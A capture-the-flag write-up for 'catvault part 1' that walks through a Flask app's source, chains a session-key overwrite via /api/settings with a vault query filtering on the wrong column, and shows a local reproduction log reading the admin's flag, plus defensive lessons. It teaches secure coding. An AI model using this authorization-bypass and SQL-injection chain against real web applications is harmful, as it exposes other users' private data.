L3akCTF 2026 — catvault part 1 Writeup
A vault that only lets you read your own secrets, until the settings endpoint lets you overwrite the session user_id and the vault query filters on the wrong column.
L3akCTF 2026 — catvault (part 1)
A "cat vault" where you stash secrets and the page promises "it's impawssible for anyone else to see your vault". Two small defects turn that promise into a lie: a settings endpoint that let me overwrite my own session user_id, and a vault query that filters on the wrong column. Together they read the admin's entry, which holds the flag.
Scope: local reproduction. Challenge source is public in the CTF archive; no external host was touched.
1. Source review
Flask app, MariaDB backend, sha256 password hashing. The obvious injection points are clean — login and register use parameterized queries:
# db.py
def login(username, password):
cursor.execute("SELECT id, name, password FROM users WHERE name = ? AND password = ?;",
(username, sha256(password).digest().hex()))The session cookie is signed with a per-boot random key (app.secret_key = random.randbytes(32)), so forging cookies is off the table. But two other places are not so careful.
The vault read builds its SQL with an f-string, and it filters on the wrong column:
# db.py
def get_vault_entries(user_id):
cursor.execute(f"SELECT id, content FROM vault WHERE id = {user_id};") # `id`, not `user_id`
return [i for i in cursor]And the settings endpoint writes any caller-supplied key into the session, rejecting only underscore-prefixed keys and non-string values:
# app.py — POST /api/settings
for key, value in incoming.items():
if not isinstance(key, str) or key.startswith("_") or not isinstance(value, str):
continue
session[key] = value # `user_id` is a plain string -> alloweduser_id does not start with _ and is a string, so it sails straight into the session.
2. The chain
Admin setup inserts the flag as the admin's vault content, and that row is the first one in the table:
# db.py — create_admin()
cursor.execute("INSERT INTO users (name, password) VALUES ('admin', 'nologin');")
cursor.execute(f"INSERT INTO vault (user_id, content) VALUES ({cursor.lastrowid}, '{FLAG}');")So the admin's vault row has id = 1. The plan:
- Register any user.
POST /api/settingswith{"user_id": "1"}— overwrites the session'suser_id.GET /vault—get_vault_entries("1")runsSELECT id, content FROM vault WHERE id = 1and returns the admin's row.
Because the query filters on the vault primary key id rather than user_id, pointing user_id at 1 is enough to read the admin's secret. The value is also string-interpolated, so a stacked query is on the table too — but the wrong-column read is the shortest path.
3. Reproduction
No MariaDB server was available, so I drove the real Flask app with the app.test_client() and a sqlite3 stand-in for db.py that keeps the SQL text identical (including the buggy f-string). The flag came from the FLAG environment variable, as in the original:
register -> 302 /vault
vault(before) contains flag: False
POST /api/settings -> 200 {'ok': True, 'saved': {'theme': 'dark', 'user_id': '1'}}
vault(after) flag: L3AK{l0c4l_r3pr0_fl4g_n0t_th3_r34l_0n3}The statement the server actually runs for the second vault load, and the row it returns:
SQL: SELECT id, content FROM vault WHERE id = 1;
rows: [(1, 'L3AK{l0c4l_r3pr0_fl4g_n0t_th3_r34l_0n3}')]Note the archive ships a flag.txt whose content is a deliberate troll (...to_waste_your_time_if_youre_using_an_llm); for part 1 the real flag is the admin's vault entry (the FLAG env value), not that file.
4. Flag and lessons
Local stand-in flag, read exactly as the real one is:
L3AK{l0c4l_r3pr0_fl4g_n0t_th3_r34l_0n3}Lessons:
- Do not let request data write to reserved session keys. An allowlist of writable keys beats a blocklist of
_-prefixed ones. - A query must filter on the column that carries the ownership (
user_id), never on a global autoincrementid. A one-word typo here is an authorization bypass. - Still parameterize interpolated values, even when they "come from the session" — the session field was attacker-controlled a step earlier.
What do you think?
React to show your appreciation